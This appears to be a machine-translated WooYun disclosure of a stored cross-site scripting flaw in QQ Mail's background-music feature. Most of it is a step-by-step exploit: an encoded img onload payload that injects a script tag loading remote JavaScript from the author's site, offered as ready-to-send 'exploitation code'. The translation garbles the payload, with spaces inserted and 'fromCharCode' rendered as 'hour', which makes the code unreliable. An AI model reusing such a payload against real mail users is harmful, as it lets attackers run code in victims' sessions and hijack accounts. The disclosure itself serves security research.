Qq mailbox XSS, music function causes the mail to load arbitrary javascript

 

Detailed description:

Qq mailbox, the music function in the email is defective, so that any external JS file can be called in the email. All mainstream browsers are valid.

Proof of vulnerability:

1. Use the mail music Function

 

 

 

2. Capture packets and view the content of the sent email. The following content is displayed:

 

<Player id = "cmd: bgmusic" url = "http: // logs/kuangren/quanbuqiang/wodeyinyue/up/2b6a0a74/002057/2813145544 .wma" song = "% E5 % AE % 8C % E7 % BE % 8E % E8 % 8B % B1 % E9 % 9B % 84 (% E8 % AF % 95% E5 % 90% AC) "singer =" % E9 % 98% BF % E6 % 9D % 9C ">

</Player> <div id = QQMailBgMusicInfo style = "font: 12px; color: #909090; "> <br> your friend GAINOVER inserted background music for this email-<B> perfect hero (audition) </B> (Addu) <a href = "http://music.soso.com/music.cgi? W = perfect hero (Trial) & pl = Addu "target =" _ blank "> View </a> & nbsp; <a id = "_ bgmusic_play_btn _" href = "http://mail.qq.com/zh_CN/htmledition/playmusic.html? Seek "target =" _ blank "> playback </a> </div>

 

3. When the email plays the music, it reads the song and singer attributes of the player element and performs operations similar to somediv. innerHTML = song + singer.

 

4. if I add something similar to

 

Somediv. innerHTML = "

 

When img in innerHTML is loaded, the code in onload is automatically executed!

 

5. To prevent problems caused by quotation marks, you can directly use String. fromCharCode to avoid quotation marks when using JS Code!

 

The constructed code is as follows:

 

 

The above code calls my website JS file, http://www.toolmao.com/tool/qqmail.js

 

6. encode the above Code with encodeURIComponent.

 

Comment '% 20 onload % 3D' var % 20 s % 3Ddocument. createElement (String. fromCharCode (115% 2C99% 2C114% 2C105% 2C112% 2C116) % 3Bs. type % 3DString. fromCharCode (116% 2C101% 2C120% 2C116% 2C47% 2C106% 2C97% 2C118% 2C97% 2C115% 2C99% 2C114% 2C105% 2C112% 2C116) % 3Bs. src % 3DString. hour (104% 2C116% 2C116% 2C112% 2C58% 2C47% 2C47% hour % second % 2C46% 2C116% 2C111% 2C111% 2C108% 2C109% 2C97% 2C111% 2C46% second % 2C111% 2C109% 2C47% 2C116% 2C111% 2C111% 2C108% 2C47% 2C113% 2C113% 2C109% 2C97% 2C105% 2C108% 2C46% 2C106% 2C115) % 3Bdocument. body. appendChild (s) % 3B '% 2F % 3E

 

7. Insert the above Code into the song attribute of the player.

 

<Player id = "cmd: bgmusic" url = "http: // 60.28.234.38/kuangren/quanbuqiang/wodeyinyue/up/2b6a0a74/002057/2813145544 .wma" song = "%E5% AE %8C%E7%BE%8E%E8%8B%B1%E9%9B%84(%E8%AF%95%E5%90%AC)%3Cimg%20src%3D'http%3A%2F%2Fwww.baidu.com%2Fimg%2Fbaidu_logo.gif '% 20 onload % 3D' var % 20 s % 3Ddocument. createElement (String. fromCharCode (115% 2C99% 2C114% 2C105% 2C112% 2C116) % 3Bs. type % 3DString. fromCharCode (116% 2C101% 2C120% 2C116% 2C47% 2C106% 2C97% 2C118% 2C97% 2C115% 2C99% 2C114% 2C105% 2C112% 2C116) % 3Bs. src % 3DString. hour (104% 2C116% 2C116% 2C112% 2C58% 2C47% 2C47% hour % second % 2C46% 2C116% 2C111% 2C111% 2C108% 2C109% 2C97% 2C111% 2C46% second % 2C111% 2C109% 2C47% 2C116% 2C111% 2C111% 2C108% 2C47% 2C113% 2C113% 2C109% 2C97% 2C105% 2C108% 2C46% 2C106% 2C115) % 3Bdocument. body. appendChild (s) % 3B '% 2F % 3E "singer =" % E9 % 98% BF % E6 % 9D % 9C ">

</Player>

 

8. The following is the vulnerability exploitation code! Simply send the email as HTML!

 

<Player id = "cmd: bgmusic" url = "http: // 60.28.234.38/kuangren/quanbuqiang/wodeyinyue/up/2b6a0a74/002057/2813145544 .wma" song = "%E5% AE %8C%E7%BE%8E%E8%8B%B1%E9%9B%84(%E8%AF%95%E5%90%AC)%3Cimg%20src%3D'http%3A%2F%2Fwww.baidu.com%2Fimg%2Fbaidu_logo.gif '% 20 onload % 3D' var % 20 s % 3Ddocument. createElement (String. fromCharCode (115% 2C99% 2C114% 2C105% 2C112% 2C116) % 3Bs. type % 3DString. fromCharCode (116% 2C101% 2C120% 2C116% 2C47% 2C106% 2C97% 2C118% 2C97% 2C115% 2C99% 2C114% 2C105% 2C112% 2C116) % 3Bs. src % 3DString. hour (104% 2C116% 2C116% 2C112% 2C58% 2C47% 2C47% hour % second % 2C46% 2C116% 2C111% 2C111% 2C108% 2C109% 2C97% 2C111% 2C46% second % 2C111% 2C109% 2C47% 2C116% 2C111% 2C111% 2C108% 2C47% 2C113% 2C113% 2C109% 2C97% 2C105% 2C108% 2C46% 2C106% 2C115) % 3Bdocument. body. appendChild (s) % 3B '% 2F % 3E "singer =" % E9 % 98% BF % E6 % 9D % 9C ">

</Player> <div id = QQMailBgMusicInfo style = "font: 12px; color: #909090; "> <br> your friend GAINOVER inserted background music for this email-<B> perfect hero (audition) </B> (Addu) <a href = "http://music.soso.com/music.cgi? W = perfect hero (Trial) & pl = Addu "target =" _ blank "> View </a> & nbsp; <a id = "_ bgmusic_play_btn _" href = "http://mail.qq.com/zh_CN/htmledition/playmusic.html? Seek "target =" _ blank "> playback </a> </div>

 

9. The final effect is as follows!

 

 

Solution:

The vendor has fixed the issue because it was previously submitted.

 

 

Author gainover @ wooyun